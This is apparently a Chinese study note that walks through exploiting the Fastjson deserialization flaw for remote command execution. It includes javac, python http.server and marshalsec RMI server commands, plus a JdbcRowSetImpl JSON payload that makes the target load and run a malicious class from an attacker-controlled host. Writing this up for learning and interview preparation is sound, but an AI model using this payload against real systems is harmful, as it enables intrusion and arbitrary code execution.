记录Fastjson远程命令执行流程
摘自:ZE0安全实验室的一篇分析文章 - 传送门
我觉得这个解释非常好,所以借此文记录下来。如有冒犯,私信我立即删除。同时还总结了漏洞利用流程的简述,像这个问题,在面试过程中也常常会被提及到,鄙人就有幸被提问过一次,模模糊糊的答出个大概来。
0x01 Fastjson远程命令执行流程
主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)
1、攻击者使用payload攻击主机A(该payload需要指定rmi/ldap地址)
2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行
0x02 Fastjson漏洞利用流程简述
1、先利用Python在本地启动一个HTTP服务,中间件随意,只要可以访问到我们的恶意JAVA类Exploit.class文件即可。
2、然后再从本地开启RMI服务,让RMI服务指定加载恶意JAVA类。
3、攻击者使用payload攻击目标主机(该payload需要指定RMI/LDAP地址)
/* 实战攻击流程 */
主机A: http://1.1.1.1:8090 (Fastjson漏洞主机)
主机B: http://2.2.2.2:8888 (恶意java类服务)
主机C: rmi://2.2.2.2:9999 (远程方法调用服务)
1.在本地使用javac命令编译Exploit.java文件,生成一个Exploit.class文件(Exploit文件名不能发生变化)
javac Exploit.java
2.然后再本地利用python启动一个http服务,中间件随意,但是需要能访问到Exploit.class文件。(这里使用python3临时启动一个HTTP服务)
python3 -m http.server --bind 0.0.0.0 8888
3.然后再从本地开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8888/#Exploit" 9999
4.接下来就可以发送payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/Exploit",
"autoCommit":true
}
}
PS:此时主机A收到POST请求,触发反序列化漏洞,最终执行 Exploit.class 文件中的内容
Tips:纠正一个很多文章描述Fastjson漏洞利用的时候的一个错误,就是步骤三本地开启RMI服务时,利用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,要让RMI服务指定加载恶意JAVA类,所以这里应该是 http://2.2.2.2:8888/#Exploit ,而不是许多文章中提及到的 http://1.1.1.1:8888/#Exploit 。
PS:因自己能力不足,上面的Tips我也不太确定是不是真的是师傅们笔误了,根据其分析的话,那里的文章描述应该是错误的,望知情人士指点一二。